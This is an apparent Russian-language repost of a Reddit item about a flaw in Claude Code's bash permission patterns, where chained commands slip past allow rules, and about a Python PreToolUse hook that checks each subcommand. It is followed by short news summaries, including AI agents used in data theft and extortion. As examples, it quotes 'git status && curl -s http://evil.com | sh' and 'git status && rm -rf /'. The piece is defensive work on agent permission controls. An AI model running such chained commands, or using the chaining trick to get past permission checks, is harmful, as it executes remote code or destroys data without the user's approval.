Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд

Уязвимость в системе разрешений Claude Code
В системе разрешений Claude Code существует уязвимость, позволяющая составным bash-командам обходить шаблоны разрешения/запрета. Когда вы разрешаете команду вроде Bash(git status:*), Claude Code сопоставляет всю строку команды с этим шаблоном. Это означает, что составная команда вроде git status && curl -s http://evil.com | sh будет соответствовать шаблону git status* и получит автоматическое разрешение, даже несмотря на цепочку команд curl и sh.
Решение: claude-hooks
Исправление представляет собой один Python-скрипт под названием claude-hooks, который работает как хук PreToolUse. Он выполняет несколько ключевых функций:
- Разбивает составные команды, разделяя по
&&,||,;,|, переносам строк, и рекурсивно извлекает содержимое подпроцессов$()и обратных кавычек - Нормализует каждую подкоманду, удаляя префиксы переменных окружения, перенаправления ввода-вывода, тела heredoc и ключевые слова оболочки
- Проверяет каждую подкоманду отдельно по вашим существующим шаблонам
permissions.allowиpermissions.deny - Запрет побеждает — если любая подкоманда соответствует шаблону запрета, вся команда запрещается
- Все должны быть разрешены — автоматическое разрешение происходит только тогда, когда каждая подкоманда соответствует шаблону разрешения
- Плавный переход — если какая-либо подкоманда неизвестна, вы всё равно получаете обычное окно запроса разрешений
Инструкции по установке
Установка занимает около 30 секунд:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyДобавьте в ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}Инструмент не имеет зависимостей, кроме Python 3, и не требует настройки — он читает ваши существующие шаблоны разрешений.
Примеры поведения
git status: Разрешено как с хуком, так и без негоgit add . && git commit -m "msg": Разрешено как с хуком, так и без него (оба соответствуютgit *)git status && rm -rf /: Разрешено без хука, с хуком появляется окно запроса (уrm -rf /нет разрешения)`npm test | tee output.log`: РазрешеноFOO=bar git push: Может не соответствовать без хука, разрешено с хуком (переменная окружения удалена)
Репозиторий доступен по адресу https://github.com/liberzon/claude-hooks под лицензией MIT.
📖 Read the full source: r/ClaudeAI
👀 Смотрите также

Сообщается, что исходный код Claude Code был утечен через карту файлов NPM.
Твит сообщает, что исходный код Claude Code был утечен через файл карты в их реестре NPM. Обсуждение на HN набрало 93 балла и 35 комментариев.

Студент вносит два патча безопасности в производственную систему OpenClaw.
Студент-разработчик исправил уязвимость типа 'fail-open' в логике шлюза OpenClaw (PR #29198) и уязвимость tabnabbing в изображениях чата (PR #18685). Оба исправления были включены в производственные релизы v2026.3.1 и v2026.2.24 соответственно.

Агенты ИИ позволяют хакерам-одиночкам взламывать правительства и проводить кампании программ-вымогателей
Одиночный оператор с помощью Claude Code и ChatGPT выкрал 150 ГБ данных из правительственных учреждений Мексики, включая 195 миллионов записей налогоплательщиков. Другой злоумышленник использовал Claude Code для проведения полномасштабной кампании вымогательства против 17 организаций здравоохранения и экстренных служб.
Статический анализ 48 приложений, сгенерированных ИИ: 90% имели уязвимости в безопасности
Разработчик проверил 48 публичных GitHub-репозиториев, созданных с помощью Lovable, Bolt и Replit. 90% из них имели хотя бы одну уязвимость. Распространенные проблемы: пробелы в аутентификации (44%), функции Postgres SECURITY DEFINER (33%), BOLA/IDOR (25%) и закоммиченные секреты (25%).